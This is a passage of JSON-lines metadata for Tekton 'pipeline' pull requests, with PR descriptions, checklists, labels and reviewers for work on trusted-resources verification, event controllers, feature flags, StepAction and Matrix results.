resources.\r\n\r\n/kind feature\r\n\r\nPart of #6356\r\n\r\nSigned-off-by: Yongxuan Zhang yongxuanzhang@google.com\r\n\r\n\r\n\r\n# Submitter Checklist\r\n\r\nAs the author of this PR, please check off the items in this checklist:\r\n\r\n- [ ] Has [Docs](https://github.com/tektoncd/community/blob/main/standards.md#docs) if any changes are user facing, including updates to minimum requirements e.g. Kubernetes version bumps\r\n- [x] Has [Tests](https://github.com/tektoncd/community/blob/main/standards.md#tests) included if any functionality added or changed\r\n- [x] Follows the [commit message standard](https://github.com/tektoncd/community/blob/main/standards.md#commits)\r\n- [x] Meets the [Tekton contributor standards](https://github.com/tektoncd/community/blob/main/standards.md) (including functionality, content, code)\r\n- [x] Has a kind label. You can add one by adding a comment on this PR that contains `/kind `. Valid types are bug, cleanup, design, documentation, feature, flake, misc, question, tep\r\n- [ ] Release notes block below has been updated with any user facing changes (API changes, bug fixes, changes requiring upgrade notices or deprecation warnings). See some examples of [good release notes](https://github.com/tektoncd/community/blob/main/standards.md#good-release-notes).\r\n- [ ] Release notes contains the string \"action required\" if the change requires additional action from users switching to the new release\r\n\r\n# Release Notes\r\n\r\n```release-note\r\nNONE\r\n```\r\n", "created_at": "2023-05-29T20:51:12Z", "deletions": 23, "discovered_via": "tep_file_link", "files_changed": 2, "labels": ["kind/feature", "approved", "lgtm", "size/L", "release-note-none"], "linked_issues": [], "merged_at": "2023-06-02T13:30:24Z", "pr_number": 6738, "repo": "pipeline", "review_decision": "APPROVED", "reviewer_logins": ["JeromeJu", "Yongxuanzhang", "chuangw6", "dibyom"], "title": "[TEP-0091] add v1 support for VerifyResource"} +{"additions": 173, "body": "\r\n\r\n\r\n\r\n# Changes\r\n\r\nThis commit adds 3 more cases when the trusted resources doesn't fail the run. They are 1) no match policies and feature flag is set to ignore 2) no match policies and feature flag is set to warn 3) only warn mode policies fail.\r\n\r\nno functional change.\r\n\r\n/kind misc\r\n\r\nSigned-off-by: Yongxuan Zhang yongxuanzhang@google.com\r\n\r\n\r\n\r\n# Submitter Checklist\r\n\r\nAs the author of this PR, please check off the items in this checklist:\r\n\r\n- [ ] Has [Docs](https://github.com/tektoncd/community/blob/main/standards.md#docs) if any changes are user facing, including updates to minimum requirements e.g. Kubernetes version bumps\r\n- [x] Has [Tests](https://github.com/tektoncd/community/blob/main/standards.md#tests) included if any functionality added or changed\r\n- [x] Follows the [commit message standard](https://github.com/tektoncd/community/blob/main/standards.md#commits)\r\n- [x] Meets the [Tekton contributor standards](https://github.com/tektoncd/community/blob/main/standards.md) (including functionality, content, code)\r\n- [x] Has a kind label. You can add one by adding a comment on this PR that contains `/kind `. Valid types are bug, cleanup, design, documentation, feature, flake, misc, question, tep\r\n- [ ] Release notes block below has been updated with any user facing changes (API changes, bug fixes, changes requiring upgrade notices or deprecation warnings). See some examples of [good release notes](https://github.com/tektoncd/community/blob/main/standards.md#good-release-notes).\r\n- [ ] Release notes contains the string \"action required\" if the change requires additional action from users switching to the new release\r\n\r\n# Release Notes\r\n\r\n```release-note\r\nNONE\r\n```\r\n", "created_at": "2023-05-31T20:43:48Z", "deletions": 82, "discovered_via": "tep_file_link", "files_changed": 2, "labels": ["approved", "lgtm", "size/L", "release-note-none", "kind/misc"], "linked_issues": [], "merged_at": "2023-06-01T21:49:16Z", "pr_number": 6754, "repo": "pipeline", "review_decision": "APPROVED", "reviewer_logins": ["Yongxuanzhang", "chuangw6", "lbernick"], "title": "[TEP-0091] add more no error test cases for taskrun and pipelinerun"} +{"additions": 202, "body": "\r\n\r\n# Changes\r\n\r\nThis commits updates taskrun and pipelinerun condition based on VerificationResult to add TrustedResourcesVerified condition. The condition will be marked as false if verification policy fails, or no matching policies when feature flag is set to fail. The condition will be set to true if verification passes. No condition is added when verification is skipped.\r\n\r\nLast feature PR of https://github.com/tektoncd/pipeline/issues/6665\r\n\r\n/kind feature\r\n\r\nSigned-off-by: Yongxuan Zhang yongxuanzhang@google.com\r\n\r\n\r\n\r\n# Submitter Checklist\r\n\r\nAs the author of this PR, please check off the items in this checklist:\r\n\r\n- [ ] Has [Docs](https://github.com/tektoncd/community/blob/main/standards.md#docs) if any changes are user facing, including updates to minimum requirements e.g. Kubernetes version bumps\r\n- [x] Has [Tests](https://github.com/tektoncd/community/blob/main/standards.md#tests) included if any functionality added or changed\r\n- [x] Follows the [commit message standard](https://github.com/tektoncd/community/blob/main/standards.md#commits)\r\n- [x] Meets the [Tekton contributor standards](https://github.com/tektoncd/community/blob/main/standards.md) (including functionality, content, code)\r\n- [x] Has a kind label. You can add one by adding a comment on this PR that contains `/kind `. Valid types are bug, cleanup, design, documentation, feature, flake, misc, question, tep\r\n- [x] Release notes block below has been updated with any user facing changes (API changes, bug fixes, changes requiring upgrade notices or deprecation warnings). See some examples of [good release notes](https://github.com/tektoncd/community/blob/main/standards.md#good-release-notes).\r\n- [ ] Release notes contains the string \"action required\" if the change requires additional action from users switching to the new release\r\n\r\n# Release Notes\r\n\r\n```release-note\r\nTrustedResourcesVerified is added to TaskRun/PipelineRun status if trusted resources is enabled, the condition indicates the result of the verification.\r\n```\r\n", "created_at": "2023-06-01T22:53:52Z", "deletions": 46, "discovered_via": "tep_file_link", "files_changed": 6, "labels": ["kind/feature", "approved", "lgtm", "size/L", "release-note"], "linked_issues": [], "merged_at": "2023-06-05T23:02:26Z", "pr_number": 6757, "repo": "pipeline", "review_decision": "APPROVED", "reviewer_logins": ["Yongxuanzhang", "chitrangpatel", "lbernick"], "title": "[TEP-0091] update taskrun and pipelinerun condition based on VerificationResult"} +{"additions": 624, "body": "\r\n\r\n\r\n\r\n# Changes\r\n\r\nThis commit adds the support for v1 task verification. Previously we only support v1beta1 verification.\r\n\r\nPart of https://github.com/tektoncd/pipeline/issues/6729\r\n\r\n/kind feature\r\n\r\nSigned-off-by: Yongxuan Zhang yongxuanzhang@google.com\r\n\r\n\r\n\r\n# Submitter Checklist\r\n\r\nAs the author of this PR, please check off the items in this checklist:\r\n\r\n- [ ] Has [Docs](https://github.com/tektoncd/community/blob/main/standards.md#docs) if any changes are user facing, including updates to minimum requirements e.g. Kubernetes version bumps\r\n- [x] Has [Tests](https://github.com/tektoncd/community/blob/main/standards.md#tests) included if any functionality added or changed\r\n- [x] Follows the [commit message standard](https://github.com/tektoncd/community/blob/main/standards.md#commits)\r\n- [x] Meets the [Tekton contributor standards](https://github.com/tektoncd/community/blob/main/standards.md) (including functionality, content, code)\r\n- [x] Has a kind label. You can add one by adding a comment on this PR that contains `/kind `. Valid types are bug, cleanup, design, documentation, feature, flake, misc, question, tep\r\n- [x] Release notes block below has been updated with any user facing changes (API changes, bug fixes, changes requiring upgrade notices or deprecation warnings). See some examples of [good release notes](https://github.com/tektoncd/community/blob/main/standards.md#good-release-notes).\r\n- [ ] Release notes contains the string \"action required\" if the change requires additional action from users switching to the new release\r\n\r\n# Release Notes\r\n\r\n```release-note\r\nTrusted Resources supports v1 remote tasks verification\r\n```\r\n", "created_at": "2023-06-02T16:20:18Z", "deletions": 35, "discovered_via": "tep_file_link", "files_changed": 4, "labels": ["kind/feature", "approved", "lgtm", "size/XL", "release-note"], "linked_issues": [], "merged_at": "2023-06-06T15:28:55Z", "pr_number": 6764, "repo": "pipeline", "review_decision": "APPROVED", "reviewer_logins": ["JeromeJu", "Yongxuanzhang", "dibyom", "lbernick"], "title": "[TEP-0091] support remote v1 task verification"} +{"additions": 770, "body": "\r\n\r\n\r\n# Changes\r\n\r\nThis commit adds the support for v1 pipeline verification. Previously we only support v1beta1 verification.\r\n\r\nPart of https://github.com/tektoncd/pipeline/issues/6729\r\n\r\n/kind feature\r\n\r\nSigned-off-by: Yongxuan Zhang yongxuanzhang@google.com\r\n\r\n\r\n\r\n# Submitter Checklist\r\n\r\nAs the author of this PR, please check off the items in this checklist:\r\n\r\n- [x] Has [Docs](https://github.com/tektoncd/community/blob/main/standards.md#docs) if any changes are user facing, including updates to minimum requirements e.g. Kubernetes version bumps\r\n- [x] Has [Tests](https://github.com/tektoncd/community/blob/main/standards.md#tests) included if any functionality added or changed\r\n- [x] Follows the [commit message standard](https://github.com/tektoncd/community/blob/main/standards.md#commits)\r\n- [x] Meets the [Tekton contributor standards](https://github.com/tektoncd/community/blob/main/standards.md) (including functionality, content, code)\r\n- [x] Has a kind label. You can add one by adding a comment on this PR that contains `/kind `. Valid types are bug, cleanup, design, documentation, feature, flake, misc, question, tep\r\n- [x] Release notes block below has been updated with any user facing changes (API changes, bug fixes, changes requiring upgrade notices or deprecation warnings). See some examples of [good release notes](https://github.com/tektoncd/community/blob/main/standards.md#good-release-notes).\r\n- [ ] Release notes contains the string \"action required\" if the change requires additional action from users switching to the new release\r\n\r\n# Release Notes\r\n\r\n```release-note\r\nTrusted Resources supports v1 remote tasks verification\r\n```\r\n", "created_at": "2023-06-02T17:10:57Z", "deletions": 5, "discovered_via": "tep_file_link", "files_changed": 4, "labels": ["kind/feature", "approved", "lgtm", "size/XL", "release-note"], "linked_issues": [], "merged_at": "2023-06-06T16:54:54Z", "pr_number": 6765, "repo": "pipeline", "review_decision": "APPROVED", "reviewer_logins": ["JeromeJu", "Yongxuanzhang", "dibyom"], "title": "[TEP-0091] support remote v1 pipeline verification"} +{"additions": 2, "body": "# Dependencies:\r\n\r\n- [x] #6883\r\n\r\nOnce dependencies are merged, the PR will contain 1 commit only\r\n\r\n# Changes\r\n\r\nThe pkg/reconciler/customrun package contains a controller that\r\ntoday sends cloudevents for CustomRuns. In the context of TEP-0137,\r\nthis controller will be repurposed to send events for all resources,\r\nso the current name does not make sense anymore.\r\n\r\nRenaming the package to \"notifications\", because the \"events\" and\r\n\"cloudevents\" names are already used elsewhere and we don't want\r\na mass API rename for this. We might consolidate the code further\r\nas a follow-up. The new name is also more future-proof, as the\r\ncontroller may in future handle other kinds of non-cloudevents\r\ntype of notifications.\r\n\r\nWhen renaming I realised that the customrun controller was being\r\nstarted as part of the main controller as well as an independent\r\none. This PR fixes that bug as well.\r\n\r\nSigned-off-by: Andrea Frittoli \r\n\r\n# Submitter Checklist\r\n\r\nAs the author of this PR, please check off the items in this checklist:\r\n\r\n- [x] Has [Docs](https://github.com/tektoncd/community/blob/main/standards.md#docs) if any changes are user facing, including updates to minimum requirements e.g. Kubernetes version bumps\r\n- [x] Has [Tests](https://github.com/tektoncd/community/blob/main/standards.md#tests) included if any functionality added or changed\r\n- [x] Follows the [commit message standard](https://github.com/tektoncd/community/blob/main/standards.md#commits)\r\n- [x] Meets the [Tekton contributor standards](https://github.com/tektoncd/community/blob/main/standards.md) (including functionality, content, code)\r\n- [x] Has a kind label. You can add one by adding a comment on this PR that contains `/kind `. Valid types are bug, cleanup, design, documentation, feature, flake, misc, question, tep\r\n- [x] Release notes block below has been updated with any user facing changes (API changes, bug fixes, changes requiring upgrade notices or deprecation warnings). See some examples of [good release notes](https://github.com/tektoncd/community/blob/main/standards.md#good-release-notes).\r\n- [x] Release notes contains the string \"action required\" if the change requires additional action from users switching to the new release\r\n\r\n# Release Notes\r\n\r\n```release-note\r\nThe `CustomRun` events controller has been moved to the `pkg/reconciler/notifications` package.\r\n```\r\n\r\n/kind misc", "created_at": "2023-06-28T10:05:06Z", "deletions": 4, "discovered_via": "tep_file_link", "files_changed": 5, "labels": ["approved", "lgtm", "size/XS", "release-note", "kind/misc"], "linked_issues": [], "merged_at": "2023-07-05T16:10:19Z", "pr_number": 6884, "repo": "pipeline", "review_decision": "APPROVED", "reviewer_logins": ["lbernick", "wlynch"], "title": "[TEP-0137] Rename customrun package"} +{"additions": 762, "body": "# Dependencies:\r\n\r\n- [x] #6883\r\n- [x] #6884\r\n\r\nOnce dependencies are merged, the PR will contain 1 commit only\r\n\r\n# Changes\r\n\r\n[TEP-0137] Restructure customrun event controller\r\n\r\nThe events controllers for different resources (CustomRun, TaskRun\r\nand PipelineRun) will be almost identical, with only the resource\r\ntype being different.\r\n\r\nThis commit refactors the CustomRun events controller to factor up\r\nas much as possible of the reconciler, controller and test logic\r\nso that we can reuse it in the upcoming commits for the other\r\nresources.\r\n\r\nI've done a slight change of strategy in the unit test structure\r\ncompared to what we do for the core controller tests.\r\nA set of tests verifies as much as possible of the shared\r\nfunctions, by mocking the event functionality away. These tests\r\nare independent of the specific target format of the events.\r\n\r\nMost of the functionality of the ReconcileKind functions is\r\nhandled in reconciler tests, which do not need a controller object\r\nor a config map watcher to run, which reduces the complexity of\r\nthese tests without sacrifying coverage.\r\n\r\nFinally, a smaller set of tests covers the controller -> reconciler\r\nlogic, so verify that our controller works well when invoking\r\nthe ReconcileKind indirectly through the generated package.\r\n\r\nI added a little more test coverage in the second commit with\r\nthe help of AI, it's not critical tests but it brings the coverage up.\r\n\r\nSigned-off-by: Andrea Frittoli \r\n\r\n# Submitter Checklist\r\n\r\nAs the author of this PR, please check off the items in this checklist:\r\n\r\n- [x] Has [Docs](https://github.com/tektoncd/community/blob/main/standards.md#docs) if any changes are user facing, including updates to minimum requirements e.g. Kubernetes version bumps\r\n- [x] Has [Tests](https://github.com/tektoncd/community/blob/main/standards.md#tests) included if any functionality added or changed\r\n- [x] Follows the [commit message standard](https://github.com/tektoncd/community/blob/main/standards.md#commits)\r\n- [x] Meets the [Tekton contributor standards](https://github.com/tektoncd/community/blob/main/standards.md) (including functionality, content, code)\r\n- [x] Has a kind label. You can add one by adding a comment on this PR that contains `/kind `. Valid types are bug, cleanup, design, documentation, feature, flake, misc, question, tep\r\n- [x] Release notes block below has been updated with any user facing changes (API changes, bug fixes, changes requiring upgrade notices or deprecation warnings). See some examples of [good release notes](https://github.com/tektoncd/community/blob/main/standards.md#good-release-notes).\r\n- [x] Release notes contains the string \"action required\" if the change requires additional action from users switching to the new release\r\n\r\n# Release Notes\r\n\r\n```release-note\r\nNONE\r\n```\r\n\r\n/kind misc", "created_at": "2023-06-29T16:54:31Z", "deletions": 140, "discovered_via": "tep_file_link", "files_changed": 16, "labels": ["approved", "lgtm", "size/XL", "release-note-none", "kind/misc"], "linked_issues": [], "merged_at": "2026-03-17T13:50:48Z", "pr_number": 6889, "repo": "pipeline", "review_decision": "CHANGES_REQUESTED", "reviewer_logins": ["afrittoli", "twoGiants"], "title": "[TEP-0137] Restructure customrun event controller"} +{"additions": 19, "body": "Prior to this commit, enabling spire support also required setting \"enable-api-fields\" to alpha. \"enforce-nonfalsifiability\" is the only behavioral feature flag that also requires setting \"enable-api-fields\" to alpha, even though it is not the only behavioral feature flag in an alpha state.\r\n\r\nThis commit removes the requirement that cluster operators set enable-api-fields to alpha in order to use spire.\r\nIn addition to creating a consistent approach among behavioral feature flags, this will allow cluster operators to opt into spire without having to opt into all alpha API fields.\r\n\r\nNote: Spire support is not yet functional.\r\n\r\n/kind misc\r\n\r\n# Submitter Checklist\r\n\r\nAs the author of this PR, please check off the items in this checklist:\r\n\r\n- [x] Has [Docs](https://github.com/tektoncd/community/blob/main/standards.md#docs) if any changes are user facing, including updates to minimum requirements e.g. Kubernetes version bumps\r\n- [x] Has [Tests](https://github.com/tektoncd/community/blob/main/standards.md#tests) included if any functionality added or changed\r\n- [x] Follows the [commit message standard](https://github.com/tektoncd/community/blob/main/standards.md#commits)\r\n- [x] Meets the [Tekton contributor standards](https://github.com/tektoncd/community/blob/main/standards.md) (including functionality, content, code)\r\n- [x] Has a kind label. You can add one by adding a comment on this PR that contains `/kind `. Valid types are bug, cleanup, design, documentation, feature, flake, misc, question, tep\r\n- n/a Release notes block below has been updated with any user facing changes (API changes, bug fixes, changes requiring upgrade notices or deprecation warnings). See some examples of [good release notes](https://github.com/tektoncd/community/blob/main/standards.md#good-release-notes).\r\n- n/a Release notes contains the string \"action required\" if the change requires additional action from users switching to the new release\r\n\r\n# Release Notes\r\n\r\n```release-note\r\nNONE\r\n```\r\n", "created_at": "2023-07-18T15:09:09Z", "deletions": 42, "discovered_via": "tep_file_link", "files_changed": 6, "labels": ["approved", "lgtm", "size/M", "release-note-none", "kind/misc"], "linked_issues": [], "merged_at": "2023-07-20T17:21:53Z", "pr_number": 6939, "repo": "pipeline", "review_decision": "APPROVED", "reviewer_logins": ["JeromeJu", "afrittoli", "lbernick"], "title": "Do not require enable-api-fields=alpha for spire"} +{"additions": 756, "body": "\r\n\r\n# Changes\r\nThis PR contains 2 commits. The first decouples the existing beta \r\nfeature validation in v1beta1. Prior to this change, beta features are \r\nregarded as stable in v1beta1 apiVersion and they are validated only in\r\n v1 api behind beta enable-api-fields but not in v1beta1. This PR removes \r\nthe gapbetween the validations of the stable features in v1 and v1beta1.\r\n\r\nThe second commit moved Task.Validate and Pipeline.Validate to\r\nTaskSpec.Validate and PipelineSpec.Validate.\r\n\r\nIt also updates the api compatibility policy to clarify that feature\r\nstability levels are independent on CRD apiVersions.\r\n\r\nFixes: https://github.com/tektoncd/pipeline/issues/6592\r\nPart of: #7177 \r\n\r\n\r\n\r\n# Submitter Checklist\r\n\r\nAs the author of this PR, please check off the items in this checklist:\r\n\r\n- [x] Has [Docs](https://github.com/tektoncd/community/blob/main/standards.md#docs) if any changes are user facing, including updates to minimum requirements e.g. Kubernetes version bumps\r\n- [x] Has [Tests](https://github.com/tektoncd/community/blob/main/standards.md#tests) included if any functionality added or changed\r\n- [x] Follows the [commit message standard](https://github.com/tektoncd/community/blob/main/standards.md#commits)\r\n- [x] Meets the [Tekton contributor standards](https://github.com/tektoncd/community/blob/main/standards.md) (including functionality, content, code)\r\n- [x] Has a kind label. You can add one by adding a comment on this PR that contains `/kind `. Valid types are bug, cleanup, design, documentation, feature, flake, misc, question, tep\r\n- [x] Release notes block below has been updated with any user facing changes (API changes, bug fixes, changes requiring upgrade notices or deprecation warnings). See some examples of [good release notes](https://github.com/tektoncd/community/blob/main/standards.md#good-release-notes).\r\n- [x] Release notes contains the string \"action required\" if the change requires additional action from users switching to the new release\r\n\r\n# Release Notes\r\n\r\n```release-note\r\nv1beta1 CRDs with beta features now requires `beta` `enable-api-fields`. More specifically, users who have been accidentally using beta features resolvers, object array params and results with `enable-api-fields` set to `stable` now needs to change to `enable-api-fields=beta`\r\n```\r\n", "created_at": "2023-07-18T22:18:46Z", "deletions": 66, "discovered_via": "tep_file_link", "files_changed": 20, "labels": ["approved", "lgtm", "size/XL", "release-note", "kind/misc"], "linked_issues": [], "merged_at": "2023-10-24T22:19:32Z", "pr_number": 6941, "repo": "pipeline", "review_decision": "APPROVED", "reviewer_logins": ["JeromeJu", "Yongxuanzhang", "afrittoli", "chitrangpatel", "lbernick", "pritidesai"], "title": "[TEP0138] Decouple v1beta1 beta feature validation"} +{"additions": 3829, "body": "\r\n\r\n# Changes\r\nThis commits pulls in the conversion-gen into vendor and generate conversion functions between v1 and internal version. \r\n\r\nPR https://github.com/tektoncd/pipeline/pull/7030 contains the whole code changes. And this PR is the 1st step of https://github.com/tektoncd/pipeline/issues/7028.\r\n\r\n/kind feature\r\n\r\nSigned-off-by: Yongxuan Zhang yongxuanzhang@google.com\r\n\r\n\r\n\r\n# Submitter Checklist\r\n\r\nAs the author of this PR, please check off the items in this checklist:\r\n\r\n- [ ] Has [Docs](https://github.com/tektoncd/community/blob/main/standards.md#docs) if any changes are user facing, including updates to minimum requirements e.g. Kubernetes version bumps\r\n- [ ] Has [Tests](https://github.com/tektoncd/community/blob/main/standards.md#tests) included if any functionality added or changed\r\n- [x] Follows the [commit message standard](https://github.com/tektoncd/community/blob/main/standards.md#commits)\r\n- [ ] Meets the [Tekton contributor standards](https://github.com/tektoncd/community/blob/main/standards.md) (including functionality, content, code)\r\n- [x] Has a kind label. You can add one by adding a comment on this PR that contains `/kind `. Valid types are bug, cleanup, design, documentation, feature, flake, misc, question, tep\r\n- [ ] Release notes block below has been updated with any user facing changes (API changes, bug fixes, changes requiring upgrade notices or deprecation warnings). See some examples of [good release notes](https://github.com/tektoncd/community/blob/main/standards.md#good-release-notes).\r\n- [ ] Release notes contains the string \"action required\" if the change requires additional action from users switching to the new release\r\n\r\n# Release Notes\r\n\r\n```release-note\r\nNONE\r\n```\r\n", "created_at": "2023-08-08T18:34:51Z", "deletions": 4, "discovered_via": "tep_file_link", "files_changed": 19, "labels": ["approved", "do-not-merge/hold", "size/XL", "release-note-none", "kind/misc"], "linked_issues": [], "merged_at": null, "pr_number": 7032, "repo": "pipeline", "review_decision": "APPROVED", "reviewer_logins": ["Yongxuanzhang", "khrm", "lbernick"], "title": "[internal version] conversion between v1 and internal version"} +{"additions": 15, "body": "\r\n\r\n# Changes\r\nThis commit adds the feature graduation process documentation to the API compatibility policy. It aims to mitigate the confusions of API versioning that was coupled with feature versioning as in #6592. The graduation process clarifies the independence of feature versions from API versions.\r\n\r\npart of: #7177 \r\nrelated: TEP0138\r\n/kind documentation\r\n\r\n\r\n# Submitter Checklist\r\n\r\nAs the author of this PR, please check off the items in this checklist:\r\n\r\n- [x] Has [Docs](https://github.com/tektoncd/community/blob/main/standards.md#docs) if any changes are user facing, including updates to minimum requirements e.g. Kubernetes version bumps\r\n- [ ] Has [Tests](https://github.com/tektoncd/community/blob/main/standards.md#tests) included if any functionality added or changed\r\n- [x] Follows the [commit message standard](https://github.com/tektoncd/community/blob/main/standards.md#commits)\r\n- [ ] Meets the [Tekton contributor standards](https://github.com/tektoncd/community/blob/main/standards.md) (including functionality, content, code)\r\n- [x] Has a kind label. You can add one by adding a comment on this PR that contains `/kind `. Valid types are bug, cleanup, design, documentation, feature, flake, misc, question, tep\r\n- [x] Release notes block below has been updated with any user facing changes (API changes, bug fixes, changes requiring upgrade notices or deprecation warnings). See some examples of [good release notes](https://github.com/tektoncd/community/blob/main/standards.md#good-release-notes).\r\n- [ ] Release notes contains the string \"action required\" if the change requires additional action from users switching to the new release\r\n\r\n# Release Notes\r\n\r\n```release-note\r\nNONE\r\n```\r\n", "created_at": "2023-08-28T15:30:58Z", "deletions": 0, "discovered_via": "tep_file_link", "files_changed": 1, "labels": ["approved", "lgtm", "size/S", "kind/documentation", "release-note-none"], "linked_issues": [], "merged_at": "2023-10-06T15:40:30Z", "pr_number": 7076, "repo": "pipeline", "review_decision": "APPROVED", "reviewer_logins": ["JeromeJu", "Yongxuanzhang", "chitrangpatel"], "title": "[TEP0138] RFC: Add feature graduation process documentation"} +{"additions": 209, "body": "\r\n\r\n# Changes\r\n\r\nThis PR contains 2 commits which:\r\n- refactors the feature-versioning developer doc\r\n- adds the per-feature flag struct and documentations for\r\nnew features in TektonCD pipeline.\r\n\r\npart of: TEP-0138\r\n \r\n\r\n\r\n# Submitter Checklist\r\n\r\nAs the author of this PR, please check off the items in this checklist:\r\n\r\n- [x] Has [Docs](https://github.com/tektoncd/community/blob/main/standards.md#docs) if any changes are user facing, including updates to minimum requirements e.g. Kubernetes version bumps\r\n- [ ] Has [Tests](https://github.com/tektoncd/community/blob/main/standards.md#tests) included if any functionality added or changed\r\n- [x] Follows the [commit message standard](https://github.com/tektoncd/community/blob/main/standards.md#commits)\r\n- [x] Meets the [Tekton contributor standards](https://github.com/tektoncd/community/blob/main/standards.md) (including functionality, content, code)\r\n- [x] Has a kind label. You can add one by adding a comment on this PR that contains `/kind `. Valid types are bug, cleanup, design, documentation, feature, flake, misc, question, tep\r\n- [x] Release notes block below has been updated with any user facing changes (API changes, bug fixes, changes requiring upgrade notices or deprecation warnings). See some examples of [good release notes](https://github.com/tektoncd/community/blob/main/standards.md#good-release-notes).\r\n- [x] Release notes contains the string \"action required\" if the change requires additional action from users switching to the new release\r\n\r\n# Release Notes\r\n\r\n```release-note\r\nPlease use per feature flags for new API-driven feature gating.\r\n```\r\n", "created_at": "2023-09-05T16:11:38Z", "deletions": 129, "discovered_via": "tep_file_link", "files_changed": 4, "labels": ["kind/feature", "approved", "lgtm", "size/L", "release-note"], "linked_issues": [], "merged_at": "2023-10-26T18:06:00Z", "pr_number": 7090, "repo": "pipeline", "review_decision": "APPROVED", "reviewer_logins": ["JeromeJu", "QuanZhang-William", "Yongxuanzhang", "afrittoli"], "title": "[TEP0138] Add Per-feature Flag Struct for New Features"} +{"additions": 5713, "body": "\r\n\r\n# Changes\r\nThis POC introduces a `StepAction` CRD as designed in https://github.com/tektoncd/community/pull/1065.\r\n\r\n\r\n\r\n# Submitter Checklist\r\n\r\nAs the author of this PR, please check off the items in this checklist:\r\n\r\n- [ ] Has [Docs](https://github.com/tektoncd/community/blob/main/standards.md#docs) if any changes are user facing, including updates to minimum requirements e.g. Kubernetes version bumps\r\n- [ ] Has [Tests](https://github.com/tektoncd/community/blob/main/standards.md#tests) included if any functionality added or changed\r\n- [ ] Follows the [commit message standard](https://github.com/tektoncd/community/blob/main/standards.md#commits)\r\n- [ ] Meets the [Tekton contributor standards](https://github.com/tektoncd/community/blob/main/standards.md) (including functionality, content, code)\r\n- [ ] Has a kind label. You can add one by adding a comment on this PR that contains `/kind `. Valid types are bug, cleanup, design, documentation, feature, flake, misc, question, tep\r\n- [ ] Release notes block below has been updated with any user facing changes (API changes, bug fixes, changes requiring upgrade notices or deprecation warnings). See some examples of [good release notes](https://github.com/tektoncd/community/blob/main/standards.md#good-release-notes).\r\n- [ ] Release notes contains the string \"action required\" if the change requires additional action from users switching to the new release\r\n\r\n# Release Notes\r\n\r\n```release-note\r\nNONE\r\n```\r\n/kind feature\r\n/hold", "created_at": "2023-09-18T00:54:11Z", "deletions": 26, "discovered_via": "tep_file_link", "files_changed": 56, "labels": ["kind/feature", "do-not-merge/hold", "size/XXL", "release-note-none", "needs-rebase"], "linked_issues": [], "merged_at": null, "pr_number": 7124, "repo": "pipeline", "review_decision": "COMMENTED", "reviewer_logins": [], "title": "Poc: StepAction CRD (TEP 0142 - Enable Step reusability)"} +{"additions": 3344, "body": "This PR enables producing Results from Matrixed PipelineTasks so that they can be used in subsequent PipelineTasks [See [TEP-140: Produce Results in Matrix](https://github.com/tektoncd/community/blob/main/teps/0140-producing-results-in-matrix.md)]. A Pipeline author can now declare a matrixed taskRun that emits results of type string that are fanned out over multiple taskRuns and aggregated into an array of results that can then be consumed by another pipelineTask using the syntax `$(tasks..results.[*])`.\r\n\r\nThis commit also introduces 2 context variables to 1) Access Matrix Combinations Length using `tasks..matrix.length` and 2) Access Aggregated Results Length using `tasks..matrix..length`\r\n\r\nNote: Currently, we don't support consuming a single instance/combinations of results. Authors must consume the entire aggregated results array. t message for your changes. \r\n/kind feature\r\n\r\nCloses #5265\r\n\r\n\r\n# Changes\r\n\r\n\r\n\r\n# Submitter Checklist\r\n\r\nAs the author of this PR, please check off the items in this checklist:\r\n\r\n- [x] Has [Docs](https://github.com/tektoncd/community/blob/main/standards.md#docs) if any changes are user facing, including updates to minimum requirements e.g. Kubernetes version bumps\r\n- [x] Has [Tests](https://github.com/tektoncd/community/blob/main/standards.md#tests) included if any functionality added or changed\r\n- [x] Follows the [commit message standard](https://github.com/tektoncd/community/blob/main/standards.md#commits)\r\n- [x] Meets the [Tekton contributor standards](https://github.com/tektoncd/community/blob/main/standards.md) (including functionality, content, code)\r\n- [x] Has a kind label. You can add one by adding a comment on this PR that contains `/kind `. Valid types are bug, cleanup, design, documentation, feature, flake, misc, question, tep\r\n- [x] Release notes block below has been updated with any user facing changes (API changes, bug fixes, changes requiring upgrade notices or deprecation warnings). See some examples of [good release notes](https://github.com/tektoncd/community/blob/main/standards.md#good-release-notes).\r\n- [x] Release notes contains the string \"action required\" if the change requires additional action from users switching to the new release\r\n\r\n# Release Notes\r\n\r\n```release-note\r\nPipeline authors can now produce results from a Matrixed PipelineTask as an aggregated array and consume them in an array params. Two context variables are introduced as part of this feature, $(tasks..matrix.length) to get the length of a matrix combinations and $(tasks..matrix..length) to get a length of aggregated result.\r\n```\r\n", "created_at": "2023-10-02T17:46:35Z", "deletions": 228, "discovered_via": "tep_file_link", "files_changed": 24, "labels": ["kind/feature", "approved", "lgtm", "size/XXL", "release-note"], "linked_issues": [5265], "merged_at": "2023-10-17T17:48:35Z", "pr_number": 7167, "repo": "pipeline", "review_decision": "APPROVED", "reviewer_logins": ["EmmaMunley", "JeromeJu", "Yongxuanzhang", "pritidesai"], "title": "TEP-140: Produce Results in Matrix"} +{"additions": 59313, "body": "\r\n\r\n# Changes\r\n\r\nThis is the first step of [TEP-0145](https://github.com/tektoncd/community/blob/main/teps/0145-cel-in-whenexpression.md) tracking issue is https://github.com/tektoncd/pipeline/issues/7244, same as [tekton/triggers](https://github.com/tektoncd/triggers/blob/main/pkg/interceptors/cel/cel.go#L29), we will use cel-go as the library to evaluate the CEL expression. \r\n\r\nThis PR pulls the dependency first to avoid rebasing all the time and help reviewers to better review the following feature PRs by reducing noises, no functional change in this PR\r\n\r\nSigned-off-by: Yongxuan Zhang yongxuanzhang@google.com\r\n\r\n\r\n\r\n# Submitter Checklist\r\n\r\nAs the author of this PR, please check off the items in this checklist:\r\n\r\n- [ ] Has [Docs](https://github.com/tektoncd/community/blob/main/standards.md#docs) if any changes are user facing, including updates to minimum requirements e.g. Kubernetes version bumps\r\n- [ ] Has [Tests](https://github.com/tektoncd/community/blob/main/standards.md#tests) included if any functionality added or changed\r\n- [ ] Follows the [commit message standard](https://github.com/tektoncd/community/blob/main/standards.md#commits)\r\n- [ ] Meets the [Tekton contributor standards](https://github.com/tektoncd/community/blob/main/standards.md) (including functionality, content, code)\r\n- [ ] Has a kind label. You can add one by adding a comment on this PR that contains `/kind `. Valid types are bug, cleanup, design, documentation, feature, flake, misc, question, tep\r\n- [ ] Release notes block below has been updated with any user facing changes (API changes, bug fixes, changes requiring upgrade notices or deprecation warnings). See some examples of [good release notes](https://github.com/tektoncd/community/blob/main/standards.md#good-release-notes).\r\n- [ ] Release notes contains the string \"action required\" if the change requires additional action from users switching to the new release\r\n\r\n# Release Notes\r\n\r\n```release-note\r\nNONE\r\n```\r\n", "created_at": "2023-10-19T18:34:42Z", "deletions": 